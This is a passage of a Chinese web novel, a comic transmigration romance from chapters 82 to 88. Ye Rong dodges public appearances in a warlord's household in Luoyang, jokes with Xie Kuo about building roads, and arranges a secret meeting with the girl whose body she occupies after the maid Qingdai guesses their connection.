“咳咳咳咳……”
回应男人的是叶绒被呛的撕心裂肺的咳声。
扭曲的面容挡住了叶绒眼中快要化成实质的惊恐,却遮不住她内心的尖叫。
救命.jpg
别啊!!
一点都不想当众整上那么一出活人消失术的叶绒缓过劲儿来之后,头都要摇出残影来了。
“不不不……”
“我不需要!!”
男人眼中的浅笑微敛,露出点点疑惑,“为何?”
要知道,她此番趁机收拢一方残余势力,乃是天时地利人和都具备的大好时机。
别的不说,这般到手的势力稍微整顿一番,便是她手下最衷心的存在,绝对不可能背叛她的那种。
——不然,他人一口一个唾沫钉子,能把他们骂死!
这般好事,他想不通她为何抗拒?
对,是抗拒,甚至都不能用拒绝来形容的那种。
叶绒:“……”
这波,她铁定是不能如实解释的。
惊吓过度的大脑转动好半天,叶绒方才从嘴里挤出一个干巴巴的借口当理由。
“我有冬雪和冬霜就够了,不需要其他人。”
“你可以把人留在院子里,便是当个洒扫丫鬟用都行。”
叶绒:……
这什么地狱笑话?
她尬尴的扯了扯嘴角,强行挤出一抹客套的笑容,目光幽幽看着男人道:“我社恐,见不得生人。”
谢阔:“……”
这理由太牵强了。
然并卵——
四目相对,谢阔点头哦了一声,表示自己信了。
没办法,他总觉得自己再最根究底下去,她会给他强行闭麦。
啧——
酝酿了一路的说辞完全没了用武之地。
本雄心壮志,想给人好好上上一课,让身旁人见识下这世间本质的男人默了默。
层层剥离揭露开来,世间关系本就是一复杂的利益链,情附利存,利靠情活,真真假假,本真难辨。
他们想依附她在豫州站稳脚跟,她要靠他们壮大手中势力,加强自己在豫州影响力。
——这本是互惠互利的大好事,如果她点头同意的话。
本意是想教导少女,如何驾驭这股势力的男人,看看身旁人儿惊魂未定的模样,整个人都,“……”
老实说,生平头一次见到有人对到手的没有裹砒霜的权势,这般避如蛇蝎,他是有些懵逼的。
为什么?
谢阔很是想不通。
看男人沉默不语,以为这茬总算是过去了,叶绒心底松了口气。
她小抿一口茶水缓了缓心神,重新默默啃起了男人手上的糕点……
然而,叶绒的放松只堪堪维持到谢府大门口。
马车停下之后,本以为到地方的叶绒,迫不及待的掀开帘子,她刚想跳下去,眼角余光就瞥到一片黑压压的存在。
“??”
听着马车外嘈杂的声音,看着眼前这片简直是一眼望不到尽头的人群,叶绒身体有些僵硬。
只因为——
看着在谢府门前叩首谢恩的一大波人群,在人群来往间,看到了几个曾在怀县驿站有过一面之缘的残疾人的叶绒,“!!”
反应过来的叶绒,这回速度前所未有的快——
她刷的一下收回蠢蠢欲动,想跳下去的双腿,猛的放回帘子,盖的死紧死紧的,完了又顺手捋了捋,确认遮的密不通风后,方才放心回首。
一转头,看到男人诧异挑眉的模样,叶绒:“……”
阿巴阿巴!!
Emmm……
其实吧,有时候,一个好的借口,是能用上不止一次的,例如现在——
“我社恐。”
如果她今儿个非得在社恐和社死之间选择一个的话,那她宁愿是前者。
这般想着,叶绒扯了扯嘴角,“那什么……外面一大波人走走停停的,到门口就磕一个说两句停三息,完了跟唱戏似的,一波下场一波上场没个停歇,这场面太热闹了,我这人喜欢清静,见不得太热闹的场面,也享受不来这种氛围,所以……”
莫名的,话越说越顺的叶绒,给了男人一个欲言又止的眼神。
谢阔:“……”
这话,这表情,他该庆幸她好歹还知道改了几个字儿吗?
男人捏了捏山根,“外面那些人一波一波的来一波一波的走,他们只单纯来给我爹磕个头贺寿表达下感激,没其他意思,不能随便赶走。不然我让马车从东侧门载你进去吧?”
听到这话,叶绒表情顿时有些复杂。
“既然有侧门可走,你刚刚为什么不让车夫直接走侧门?”
非得带她来谢府正门,让她体验一把肾上腺素飙升的刺激,这很好玩吗?!
看她一脸幽怨的模样,谢阔:“……”
这能怪他?
还不是因为——
“你每次出门,都只从正门这过,我以为你对正门情有独钟。”
情有独钟到,每次让家里人送东西都送到正门这边。
也是因为她,谢府往常一年开不了几次的正大门,这段时间频频打开,他相信谢府附近住着的那些个人家早已对此嘀咕过不止一次了。
……当然,肯定是羡慕嫉妒恨的那种。
毕竟,换成是他们,对此定然也是纵容的。
不就是府邸大门被人给当成小门用了嘛,不就是堕了世家豪族的脸面嘛,人里子给的足足的,就想要这点面子,换谁会不给?
给!!
撕心裂肺.jpg
想来车夫应当也是有这方面的顾虑,才会问都不问一声就驱车来了正门。
这要是不带她来正门这里看看,她万一不死心,因为这么一点儿小事回去闹腾了怎么办?
叶绒:……
情有独钟个鬼啊!
她咬牙解释道:“那是因为,我路痴,只知道这么一条从清辉苑出门的路。”
他谢府路建的那么多,大路小路贼难辨认不说,稍微踏错一步绕弯都是小事,就怕人走着走着不知道走哪儿去了。
所以,只认准这么一条绕弯最少的路走,她错咯?
谢阔:“……”
尴尬.jpg
第八十三章 软饭
谢阔沉吟不语好半响,一时都不知道该怎么开口说话了。
不是——
他轻吸口气,强忍着牙疼问出了心中的疑惑,“你家大吗?”
啊嘞?
这话题跳跃有点儿快,叶绒脑筋一时没转过弯来,她顺着他的话想了想,然后迟疑着点了点头。
毕竟,无论是祖国那个红色的大家庭,还是她待了十几年的福利院那个家,都很大。
前者比他们的国家大多了,后者也比谢府大上一些。
看她点头,谢阔没有丝毫意外,他不解的点在于——
“你家那么大,那你以前迷路的时候,是怎么办的?”
难不成是从小到大待习惯了,所以没有这方面的烦恼了?
听到这话,总算明白过来男人在纠结什么的叶绒:“……”
她默默看他一眼,抿了抿唇,方才轻轻道了几个字,“有标识。”
嗯??
看着男人眼中的疑惑,叶绒想了想,然后尽量用简洁的语言解释了下,“就是……我家还有外面,每个路口都会有标注哪个方向通往哪里,每个房屋建筑之类的,外面也都会有它们名字之类的标注,很清晰简洁,一眼就能辨识。”
谢阔:“??”
并不知道凡尔赛是什么的男人,只觉得身旁少女仿佛在说一种很小众的语言,不然为什么他每个字都能听懂,连起来就理解不了她话里的意思了呢?
并不知道男人在想什么的叶绒一说到这里,就有些想吐槽。
“你说谢府没有路标也就算了,毕竟那是私人府邸,外人就算是进去了,也要有丫鬟小厮领路,从另一方面来讲,这也是防止生人在府里乱窜干什么不该干的坏事了,这我能理解,但是……”
重点来了。
叶绒非常想不明白的是,“为什么偌大一个洛阳城,除了城门上挂了个牌子以外,整个城内就没有一点道路标识了?这不知道的怕不是以为洛阳城有多不待见外人呢?你们一点都不考虑一下外来人,尤其是那些来旅游花钱的人的心情吗?”
谢阔:“……”
这话他一时不知道该如何接。
话说,战乱年代,还有人背井离乡出来闲逛,只为了看看外地风土人情的吗?
真要是有这种人,怕是刚离开家没两天,就被人当成两脚羊宰了吃了!
这般想着,谢阔看了看身旁少女,他想了想,还是咽下了到嘴边的反驳。
太血腥了,万一把人吓病了怎么办?!
他的沉默被叶绒当成了认同。
叶绒顿时就来劲儿了。
“还有还有,就南坊那边的路,上回咱们过去的时候,那些雪一化成冰水,马车驶过,直接留下了几道又长又深的泥印子,这但凡冬天过去,雪一化,那路泥泞的怕是都没法子走人了。你身为洛阳城的主子,怎么就不考虑给老百姓们修修大路呢?”
小路她就不说了,城内那几条经常走人的大路好歹休整一番啊!
不然春天到了,到处都是泥水怎么搞?
而且——
“要想富先修路,晓得不?”
本来额角青筋跳动着,面无表情的听身旁少女吐槽的男人听到这句话,眉眼微动。
“你为何这般说?”他从未听过这番话,看似无理由,细品却能从其背后品出深层含义。
穷怕了的男人不放过任何一个发家致富的点子。
“呃……”
正越说越来劲儿,准备接着滔滔不绝说下去的叶绒蓦地被噎了一下。
什么玩意儿?
“要想富先修路。”男人体贴的重复了一遍。
叶绒:“……”
啊、这……
那什么,她理科生,政治没学好!
叶绒抿了抿红唇,好半响才憋出了一句自己隐约还有点儿印象的高中政治老师的解释:“因为这、呃……这强调了基础设施建设的重要性,只有道路畅通了,才能方便物流和人员的流动,从而促进经济的发展和交流……”
看她越说男人眼睛越亮,叶绒那是越说声音越小。
嘤嘤嘤……
虽然但是——
对不起.jpg
她已经被榨干了。
内流满面的叶绒在心里,默默给她高一的政治老师道了个歉。
她不应该因为当时已经打定了主意要选择理科,就不听她课的。
她有罪.jpg
男人诡异的理解了她内心的愧疚感。
看她这照本宣科跟背书似的,艰难往外挤着话,结果挤到一半,就词穷了的模样,他就知道——
她说的这话,肯定是她家中哪个长辈教过她的,结果她当时一只耳朵进一只耳朵出,没往心里去,所以才会造就了她现在这般半懂不懂的状态。
谢阔:“……”
他是不是该庆幸一下?
得亏他手底下能人异士比较多,众人拾柴火焰高,在已经知道结果的情况下,倒退中间的过程,相对来说要容易一点?!
管中窥豹的男人敏锐的意识到了叶绒这番话的重要性。
正所谓实践出真知,他想尝试一下。
恰巧,现在整个洛阳城内人力过于富足,他本来还没想好要怎么安置这些人,如今看来,让他们一起去修路,以工代赈,倒是一个不错的好法子。
这样,既不会让城内百姓养成不劳而获的坏习惯,还能够防止他们被有心人鼓动,借机生事。
只是——
倘若真如他身旁人儿说的这样的话,那他们以前岂不是错过了很多发家致富的好时机?
谢阔脑子里刚冒出这个想法,他突然意识到自己不用懊悔!
Emmm……
他们以前很穷的,别说是以工代赈了,就连军队都快要养不起了……
这么一想,谢阔突然有些明白,为什么富人会越来越富,穷人会变得越来越穷了?!
“……”
心情复杂的男人,看到身旁坐着的少女,梗在心头的那难以言喻的情绪,蓦地一下子就变好了。
虽然他以前一度穷到了,要时常去别的州打秋风,才能养得起豫州军的地步,但是——
他运气好啊!
他好运的遇到了心善她,得以带着豫州那么多人一起……吃上了软饭。
第八十四章 社恐?!
谢阔觉得,倘若叶绒说的事情当真能成,那洛阳城内的人富起来了之后,怕不是家家户户都会给她供长明灯。
这般想着,男人开口问道:“此事若成,你功不可没,你想要什么?”
啊嘞?
就说了两句话的叶绒一头雾水。
她功不可没在什么地方?
看她稀里糊涂的模样,谢阔没有过多解释。
毕竟此事未成,多的是变数,于是他只开口道:“你做了好事,希望别人怎么感谢你?”
叶绒:……
这题她会。
“给我金子!”
看她这般财迷的模样,谢阔:“……你就不能有点出息吗?”
男人表情有些恨铁不成钢,金银那些个俗物有什么好贪的,要要也是应该要权势啊!
看他一副她一点都不争气的模样,叶绒小心翼翼改了口,“那……让人用金子给我塑个金身送我?”
这样既有艺术价值还有实用性,哪天她缺钱了,还能把自个儿的金身卖了。
看她自觉此番注意甚好,还不自觉跟着点头的模样,谢阔表情凉凉接话道:“然后放城门口当标识,给人指路?”
叶绒:……
这可真是个冷笑话!
不知情的怕不是以为她是什么古早龙王归来小说中的主角。
虽然但是——
“你要是不怕被人偷了的话,我不介意。”
叶绒怂了怂肩,一副无所谓的模样。
就算是真摆城门口了,丟的也是厍怵的脸,关她叶绒什么事儿!
谢阔:“……行。”
看男人深吸一口气,一副当真开始思考起此事可行性的模样,叶绒表情逐渐变得惊悚。
“不是……我就跟着口嗨了下,你别当真啊!”
谢阔闻言深深看她一眼,表示自己明白了。
毕竟,越是不经意间说出口的话,越能证明它的真实性。
她只是有些害羞罢了,他懂!
想到这里,谢阔突然有些明白,她为何会相想出那种给他父亲贺寿的法子了。
原来——
一切都是有迹可循的!
叶绒:“……”
他这表情,可不像是明白了的意思啊,叶绒正待再说上一番,表明自己当真是在开玩笑。
——她只是觉得气氛太冷了,讲个笑话缓和缓和下罢了。
话未出口,她突然想到——
她压根没什么可以傍身的,能让人给她塑金身的功绩在身。
Emmm……
这么一想,叶绒瞬间就放心了。
男人并不知道她内心的想法,想到在房内闭门不出的父亲,他只莫名觉得有些头疼。
也不知谢府门口这些人什么时候能够散去?
听到男人不知不觉脱口而出的疑惑,叶绒沉吟了下道:“谢叔过完寿辰之后,欢喜劲儿过了,他们把城外放着的那些东西领完,喜悦淡去,应该就会消停了。”
谢阔:……
他看着一脸笃定模样的叶绒,语气有些艰难的开口,“你从哪儿看出来我父亲的欢喜的?”
这场面但凡是个人来,脸皮再厚都得羞得老脸通红,不敢见人吧?!
孰料,听到他的疑问,叶绒以一种理所当然的语气开口道:“谢叔前天在府里举办宴席的时候,那些人给他送礼贺寿的时候,他笑的可开心了,没一点不欢喜的地方,他肯定非常喜欢这种场面!”
对此,她非常能理解!
换成是她,这么大年纪了,有那么多人给她送礼贺寿说好听话,场面热热闹闹的,她也能乐得合不拢嘴。
谢阔:“……”
男人薄唇开开合合的,却无论如何都无法从喉咙里挤出一个字来。
好半响的功夫,缓过这股劲儿来之后,错过了最佳解释时机的男人,最终只得无可奈何的对身旁少女拱了拱手,替自己老父亲谢过她的一番好心。
——听我说谢谢你,因为有你,他爹短时间内没法再去军营操练士兵,只能躲在家里安安生生的好生将养南征北战落下来的一身旧疾。
这般想着,谢阔悟出了一个道理。
他以后在某些特殊场合,绝对不能再用虚伪的笑容,来表达自己的情绪了。
因为有人不仅会把世家常见的客套笑容当真,还会进行一番脑补。
——这一不留神就是一个社死!
正这么想着的时候,谢阔突然听到了马车外传来一道苍老的声音。
“敢问马车内可是谢府贵客?周才德拜见贵人。”
头发花白,身形纤瘦的老人对着马车拱手作揖,深深的一鞠到底。
听到外人的声音,谢阔嘴角条件反射性的勾起了一抹笑容。
他正想开口说话,突然反应过来了。
“……”
男人脸上的笑容顿时就僵住了。
然后他看向身旁坐着的少女。
看她一脸惊恐,仿佛马车外站着什么洪水猛兽的模样,谢阔:“??”
这什么个情况?
男人薄唇微启,刚想开口说话,就被叶绒死死的捂住了嘴巴。
她凑近他耳边,用低不可闻的气音道:“你出去,去外面应付一下。”
谢阔挑眉看向她,以眼神示意:你确定?
这般大好时机,她只要顺着台阶下了这个马车,和外面的人好声好气的说上两句话,一切就都顺理成章了……
回应他的是叶绒重重点头的模样。
满脑子谋算的谢阔:“……”
懂了,他这就下去把人打发了。
男人给了叶绒一个安抚的眼神,他整了整有些凌乱的衣襟,正想掀开帷帘下车,一个转身的功夫,便被叶绒扯出了衣袖。
后悔了?
这很正常!
他就说嘛,到手边的权势,怎么会有人舍得推开呢?
男人眼眸含笑转头,正想开口,就见叶绒凑近他,小小声的道了句,“你下去之后,记得让车夫赶紧从侧门把我送回去。”
嘤嘤嘤……
只要一想到原主可能就在马车外面,她一不留神就要在大庭广众之下被送走了,叶绒就感觉坐立难安。
如果条件允许,她甚至想赶紧飞奔离开。
谢阔:“……”
四目相对,叶绒抿唇小声道:“我社恐,……懂?”
呵呵.jpg
男人皮笑肉不笑的扯了扯嘴角。
他懂!
就是吧——
这不知情的人看了,可能会以为,这是什么死贫道不死道友的现场?!
第八十五章 猜到了?
虽然回去的路上遇到了点儿波折,但好在叶绒完好无损的回到了清辉苑。
看着自己胳膊腿都还在这个时空健,叶绒那是大大松了口气。
穿越大神,菜菜,捞捞,谢谢!
虽然但是——
今日份出门惊险的经历也告诉了她,这里不能再多待了。
叶绒在明天给谢父送完生辰礼就跑和后天再跑路之间,犹豫了一小会儿之后,最终还是选择了后者。
一来她已经提前做好了出门的铺垫,二来则是谢叔都这么大年纪了,放在古代妥妥的属于高寿人群了,人过个大寿不容易,而且他对她那么好,好端端的她怎么能在他寿辰惹事呢?!
这般想着,叶绒回房用过膳洗漱完毕躺床上之后,打开了拼夕夕……
她都放出话来,说要做生日蛋糕给谢叔吃了,总不能巧妇难为无米之炊吧?
当然,蛋糕原材料什么的在拼夕夕上很好买到,但冬雪她们的工作服就很难找到了……
因着这波花的都是自己那仅剩的几千块存款的缘故,叶绒本想省着点儿花买成衣的,怎奈何这回拼夕夕不给力,她无奈只能再出一波血,走了订制。
当然,这不是重点,叶绒买完自己跑路的工具之后,本想看看在拼夕夕上能不能弄到点儿乙醚之类的麻药,以备不时之需的。
虽然这些东西都属于管制品,但人网上不是说了嘛,有钱能使鬼推磨。
只要找对途径,钱到位了,那是什么都能买到的。
然并卵——
叶绒卡在了开端。
在拼夕夕上找到凌晨,都没能找到正确的非卖品交易的网店之后,叶绒只得含恨放弃。
嘤嘤嘤……
讲真,这波要是让人锦鲤运女主来,可能早就心想事成,乙醚get了。
到她这儿——
可能是因为她就一恶毒女配吧,她不配!
走不了误打误撞的途径,也没有踩到狗屎运来波心想事成的叶绒,在拼夕夕上逛了大半夜,第二天早上起床的时候,那黑眼圈遮都遮不住。
冬雪看她一副被掏空了精气的模样,大吃一惊。
“姑娘这是怎么了?”
叶绒洗漱好坐在铜镜前等人梳头的时候,看着镜子里自己脸上那明晃晃的遮都遮不住的黑眼圈,语气幽幽道:“我做贼去了。”
她昨晚关了手机之后,躺在床上那是越想越气。
都是人,凭什么女主和恶配差距那么大啊?
她不服!
叶绒一口怒气憋在心里,那是翻来覆去到早上,都没能成功睡着。
——真不是因为马上要走了,兴奋的睡不着!
“姑娘说笑了。”冬雪看着叶绒的熊猫眼,给人把头发梳好之后,没直接动手盘发。
她犹豫了下,方才开口道:“现在才巳时,离开宴还早着呢,姑娘要不要在屋里吃点东西,睡个回笼觉再起身?”
听到她的建议,叶绒果断摇了下头。
“我找兄弟帮我买的东西快到了,等会儿我去后厨那边给谢叔做好寿辰礼,再回来睡吧。”
左右今儿个这宴会她是不打算参加的,那做好生日蛋糕之后再回来睡觉更好,完事儿了,安心!
听出她话里潜意思,冬雪惊了一下。
“今日很多人都会入府来贺寿,就连从徐州被救回来的那些人,也会派些代表来参加宴会,如此盛况,姑娘不打算出席?”
她不理解身前人是怎么想的。
叶绒一听冬雪这话,头摇的跟拨浪鼓似的。
既然这样,那她就更不能在前院那边露面了。
问就是社恐!
看她这般抗拒的模样,冬雪心念转动了下,“姑娘买了什么东西,外面天冷,奴帮您去取吧。”
她位卑言轻,要找合适的人来劝劝她。
叶绒听到冬雪这话,不可否认的心动了,但她旋即还是摇了头。
“既是送给谢叔的生辰礼物,自当我亲自去取。”
表心意是一方面,更重要的是她还买了点儿不方便让其他人知道的东西,所以,此番只能她亲自走上一遭。
想到这里,叶绒深吸一口,做足了心理准备。
甫一踏出清辉苑的大门,叶绒强忍着打退堂鼓的冲动,扭头朝身后问道:“你刚才说,从徐州被救回来的那些人,今天派了代表来给谢叔贺寿,那他们现在是已经到谢府了还是下午才会来?”
她得确认下。
“有的人已经提前来了,有的人下午才会到。”
叶绒:“……”
冬雪这么一说,她更不放心了。
“怀县那边来给谢叔贺寿的人是谁?已经到了吗?”
“是昨日来谢府拜谒的周才德周老秀才他们,他们一行几人昨晚便被少主请入府中住下了。”
叶绒:!!
她是不是该庆幸一下,自己多问了这么一句?!
“那周老秀才他们带了多少人过来啊?加上他们的血亲。”
最后一句才是重点。
看她一脸好奇的样子,冬雪沉吟了一下,方才道:“奴听人说,他们确实想带一些小辈入府给家主贺寿,但被人给劝下来了,现在在府上的都是您在驿站见过的那几个人。”
叶绒:!!
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“谁把人给劝下来的?”叶绒高兴的简直压不住嘴角的笑容。
她以后要是遇到了那人,一定要好好感谢感谢!
冬雪闻言,看了眼铜镜中的人,垂下眼睑轻声道:“那人您认得的,是青黛。”
啊嘞?
万万没想到竟然是个熟人帮了她这一遭,叶绒心里咯噔了一下。
她刚刚还是放心太早了。
据她所知,青黛并不是一个喜欢多事的人,也不乐于多管闲事,若非原主和她是同乡的话,她当初压根就不会在王家救下原主。
那么,问题来了——
好端端的,青黛干嘛浪费功夫多此一举,把人劝住了,不让怀县那些人带小辈入谢家?
已知,昨天原主是被她外公带到了谢府的,就差她一个点头,原主就直接进清辉苑了,那么……
只稍微这么顺着一联想,叶绒就觉得头皮发麻。
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青黛……是不是,猜到了什么?
第八十六章 落伍了?
正所谓,说曹操曹操到。
叶绒抱着忐忑的心情,才走出清辉苑没一会儿,就被人拦住了去路。
“恩人。”
一身翠绿丫鬟服装的青黛,对着远方来人盈盈一拜。
“你怎么在这里?”
看她一身谢府丫鬟的装扮,叶绒那叫一个诧异。
这什么情况?
青黛不是应该已经恢复自由身了吗?!
青黛看着她身后警惕起来的两人轻声解释道:“谢府这两日来客有点多,府上忙不过来,对外招了些人手,奴想多赚些家用,便来应聘了。”
因着她以前伺候过王家女的缘故,管事的把她安排在了内院干活儿。
看她一脸笑盈盈,话说的非常坦然,一点都不掺假的模样,叶绒松了口气。
好家伙,她还以为谢阔那厮糊弄她了呢!
看来是她以小人之心度君子之腹了。
叶绒正这么想着,只见青黛看了一眼她身后,然后对她意有所指的道:“姑娘救奴于水火之中,还帮奴完成了毕生心愿,大恩大德,奴无以为报,万妄姑娘受奴一拜。”
青黛说着,便躬身抬手,对叶绒行起了大礼……
叶绒连忙阻止,“哎,不用、不用!!!”
她只是动动嘴皮子的功夫罢了,受不得她这般感激。
眼角的余光瞥到叶绒不自在的模样,青黛不再执意动作,只默默说明了她来此的意图,“姑娘,奴有些与王家有关的私事,想与您单独说上一说,以作报答。”
青黛特意咬重了单独两个字的读音。
叶绒心里咯噔了一下,仅一个眨眼的功夫,她便福至心灵的,明白了青黛真正的意图。
她连忙对身后跟着的两人做了个暂停的动作,然后四处看了下,便带着青黛往旁边的小路走去……
拐角走过一段路,便是一片空旷的雪地,往常应该是种花的地方,现在被冬雪覆盖一片寂静,是个无法藏人,适合说些隐私话的好地方。
“你想对我说什么?”
青黛闻言,在她身落后半步站定,她垂眸轻声道:“奴昨日在府外忙活的时候,遇到了一女子,名唤叶绒,今年十岁……”
青黛这话一出口,叶绒眼皮子当即猛跳了一下。
这可真是……
她一时不知该如何形容自己的心情。
说完那面色枯黄,身形干瘦的小姑娘大致情况与长相之后,青黛顿了下,给了叶绒一些反应的时间,然后才接着道:“姑娘可认识此人?”
叶绒沉默了好一会儿,方才开口反问道:“好端端的,你问我这个做什么?”
看她避而不答,青黛在心中暗道一声果然。
她们认识。
确切的说,是她眼前这位贵人,认识那个叫叶绒的小女孩。
“奴先前在王家待着的时候,为了避过一些小厮的骚扰,对如何丑化容貌,深入钻研过一段时间……”
青黛点到即止。
叶绒顿感牙疼。
她心里那叫一个后悔!
早知会有今日这么一出,她当初面具被人碰掉,在一众人面前露出真容之后,就不应该破罐子破摔,在谢府待着的时候,就不化妆了的。
虽然但是,叶绒有一点实在是想不通——
“按你说的那样,她就一面色枯黄,脸还没长开的小丫头,你就在谢府门外和人见了那么一面,是怎么联想到我身上去的?”
“化妆化久了的人,很容易便能透过表相看本质。”
“……”
青黛解释的很委婉,但叶绒却秒懂她的意思。
好么,感情是因为原主化丑妆的技术还没练到家,被技高一筹的人给看破了啊!
叶绒顿时就沉默了。
但青黛却还没停止,她接着道:“那位叶姑娘虽然用粉黛遮住了脸上原本的肤色,但奴观她骨相,她日后长开之后,应当和姑娘一般姿容极为出色,且……极为相似。”
这最后几个字,才是青黛想要说的重点。
听着身旁人因她的话,突然加重的呼吸声,青黛垂眸又跟着轻声补充了一句,“倘若是别的经常化妆的贵妇人,见过您之后,又见到那位叶姑娘的话,想来也是能看出这一点的。”
这才是她昨日违背往常作风,出头把人劝阻下来,没让那位叶姑娘入谢府的原因。
当然,青黛也怕自个儿闹了什么乌龙,亦或者会坏了身旁人什么大事,所以她今日特意在她去往外院的必经之路上站着,等待了一番。
所幸,她一番苦心没有白费。
此番,主动权落到了她身旁这人身上,如何行事但凭她做主!
至于昨日在谢府门前,还没待一会儿的功夫,就被她三言两语套干净了话,然后送回了城门外的那个小姑娘?
坏了她大好的机缘,这般作为是她不对,但眼前人于她的大恩,她不得不报。
所以,她只能在心中对那个小姑娘暗道一声对不起了。
这般想着,青黛看了眼身旁沉默的少女。
没一会儿的功夫,她脑海里便脑补出了一大堆,豪族争权夺利的故事……
在王家待久了,不见硝烟的战争她也见的多了去了,想来那个叫叶绒的小姑娘,便是他们家族内战中的牺牲品了。
正当青黛这么想着的时候,沉默了好一会儿的功夫,强迫自己冷静下来的叶绒,抬手捏了捏眉心。
她首先向青黛确认道:“这件事你没告诉过其他人吧?”
“没有。”
得到确切的答复,叶绒几不可见的松了口气。
还好,还不算太糟糕!
叶绒脑子转了好半天,仍旧没想出一个合适的,待她从这个时代销声匿迹之后,仍旧不会被青黛怀疑的理由。
最终,她只得自暴自弃道:“你刚刚不还说我大恩大德,无以为报吗?既然这样,那你答应我一件事情。”
青黛听到这话,面容顿时就变得严肃了。
“姑娘请说。”
“不论你日后心里是怎么想的,我希望和叶绒有关的任何事情,你永远都不要告诉其他人。”
“……嗯?”
本已做好帮人斩草除根心理准备的青黛听到这话,脸上表情差点没绷住。
啊、这……
这和她了解的后宅争斗,不大一样啊!
她落伍了?
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第八十七章 叮嘱
青黛满头雾水的,好一会儿才反应过来。
合着眼前这人是心软了。
——结合她们两人之间面貌的相似度,青黛自然而然就推测出了她们之间的渊源。
青黛沉默一会儿后,自觉理解了叶绒内心的想法。
连她这么一个初见时,便对她怀有恶意试图陷害她一把的陌生人,眼前这少女都捞了捞,那对于那个明显和她有着血缘关系的小姑娘,她心善的放她一马,好像也是一件很正常的事情。
虽然那个小姑娘被她的家族找回去之后,十有八九会分割她到手的权势利益,但……
眼前这人应该是觉得,只要她守住了这个秘密,就没有人能认出那个小姑娘了。
这样,她既不用对血亲下手,也不用担心自己作为既得利益者,利益受损。
想既要又要么?
天真!
青黛垂下了眼睑。
虽然但是——
倘若,她不是这种人的话,她也不会得救。
也罢,既然是她欠了她这一回,那她便帮她把那个小姑娘看住吧!
此生,但凡她青黛在一天,就绝不会让那个叶姓小姑娘搅了眼前少女的安宁。
青黛在心里默默做下了这一决定。
并不知道青黛在她沉默的几息中都脑补了什么的叶绒得到保证,心下稍安。
她知道,古人向来重诺。
正所谓多说多错,叶绒本想就这么把这件事情掀篇,但她想了想,还是忍不住又问了个问题,“叶家人待叶绒如何?”
要真是按书上说的那样,她在和叶家人失散之前,虽然食不饱腹,但精神需求却是被满足了的,那家人很疼爱原主。
可,若真是如此,好端端,她怎么会被家里人推出来,要被送到谢府当个丫鬟?
难不成她家里人还觉得给她当丫鬟,是个好事不成?!
不知道叶绒内心腹诽的青黛听到她的话,想到自己昨日的见闻,眼神恍惚了一下,“他们待她很好。”
好到她看到那对夫妻,便想到了自己的父母,可惜——
她父母缘浅,此生再也见不到他们了。
青黛很快调整好心态,看着叶绒道:“托姑娘的福,城外那些人都安排到城内之后,奴的新房旁边恰巧就是叶家人的住所,您可要去我家坐坐,顺便见见他们?”
嗯?!!!
什么叫得来全不费工夫?
这就是!
万万没想到,自己竟然这么轻易的就搞到了原主的住址,叶绒眼睛当即就亮了。
“这不太好吧?”她假惺惺的推辞道。
不等青黛接话,叶绒又接着道了句,“你直接告诉我叶小绒她家住址就好了,我明天自个儿找过去。”
省得在她面前表演活人消失术,把她给吓到了。
青黛看着叶绒脸上强行压抑的喜色,听她语气这么熟稔的称呼,眼底划过一抹诧异。
她怎么觉得眼前这少女,好像早就知道叶家那个小姑娘的存在了,并对她很是了解?
这什么个情况??
心念转动间,青黛压下心中疑惑,对叶绒道:“她明天要出门,姑娘明日若去寻人,恐怕会扑个空。”
嗯?
对此,叶绒第一反应是——
她运气这么好的嘛?
“她要去哪里?”
“明日我们周边邻里已经约好,要同去城外林间拾些柴木。”
听到这话,叶绒沉吟了一下,因为出门过于少的缘故,她仔细想了一下,实在是没有想到城外哪个旮旯角落,既方便藏人,又方便偷窥的。
怪只怪她先前没想到这一点,不曾提前踩点做准备!
可惜了。
“你们食材要送到哪里去?”
“南坊那边。”
听到这话,叶绒总算是松了口气。
虽然她只去过南坊一次,但因为当时是抱着挑刺的心态去的,所以他对南坊那边某些个能方便她达成目的的地方,还是有些印象的。
“你们明天大概几点送过去?”
“酉时。”
叶绒沉吟了一下,然后道:“我记得南坊后厨的左侧边有个方便货车进出的小后门,你明天酉时一刻,能让叶小绒去那个小后门那里待上一炷香的时间吗?我想见见她,不让任何人知道。”
青黛闻言,深深看了她一眼,“可以。”
她知道,眼前人是想看看那个小姑娘过的到底怎么样。
话说,她要是见着人家小姑娘过得不好的话,不会真准备把她带回家吧?
嘶……
还别说,结合这两天她在谢府打听到的一些消息,青黛越想越觉得有这种可能。
那她接下来该怎么做?
想到昨天见到的那个拘谨羞涩的小姑娘,青黛垂下了眼帘,最终决定把一切交给命运。
得到确切的答复,叶绒总算是松了一大口气。
她看着青黛,又着重强调了一遍,“你要记得,与叶小绒有关的一切事情,你千万千万不要告诉任何人一丁点儿。”
“……好。”
解决完生平大事之后,叶绒又和青黛寒暄了两句,方才把人送走。
看着青黛远去的背影,叶绒觉得,为了她的三观着想,她还是有必要把青黛的住所和原主的住处隔开一点儿的。
才不是怕青黛没有保住秘密,让人注意到原主呢!
大脑转动间,叶绒思来想去的,最终还是决定走原来的路子。
话说,她因为今日见到青黛,得她感谢,内心有些感慨,所以多嘴问了一句她的住处,完了想把人迁居到更好一点儿的地方住,应该没什么毛病吧?
至于青黛?
她蓦地被谢府的人移了居住的位置,想来会明白她的意思的。
只要青黛和原主渐行渐远,五六年之后不再有交集,那么她和原主之间的渊源,就绝对不会有人能猜到了!
越想越觉得这招可行的叶绒,为自己的聪明点了个赞!
就这么决定了!
万事皆休,边想事情边随意走动,不知不觉走到一个死角的叶绒,一抬头,有些傻眼。
这是哪里?
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这下她高兴不起来了。
——她又迷路了!
正当叶绒欲哭无泪的琢磨着,她要不要喊两声,让冬霜冬雪听到,找过来的时候,她突然听到了细微的交谈声。
???
什么个情况?
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第八十八章 恋爱脑?
叶绒支愣着耳朵仔细听了下——
寂静的旷野中,少女破碎的声音,格外吸引人。
正所谓有瓜不吃是笨蛋。
这男女之间的瓜和上班摸鱼一样,都非常的吸引人的注意力。
所以——
叶绒顺着声音传来的方向,狗狗祟祟的凑了过去……
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猫到拐角处,偷偷摸摸干坏事的叶绒,耳朵刚凑过去,就听到和人交谈的少女来了一句,“厍怵她到底有哪里比我强?”
什么鬼?
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叶绒觉得,这瓜顿时就不香了。
论吃瓜吃到自己身上是什么感受?
脸上笑嘻嘻,心里MMP的叶绒,扒拉着墙角,把脑袋凑了过去。
这声音贼耳熟,她倒要看看是谁,在背地里说她坏话?!
“……”
看着雪地中相对而立,宛若一对璧人的年轻男女,叶绒拧眉抿唇,脸上表情那叫一个复杂难言。
不是——
这什么个情况?
好端端的,谢阔怎么和王悦妍凑到一起了?
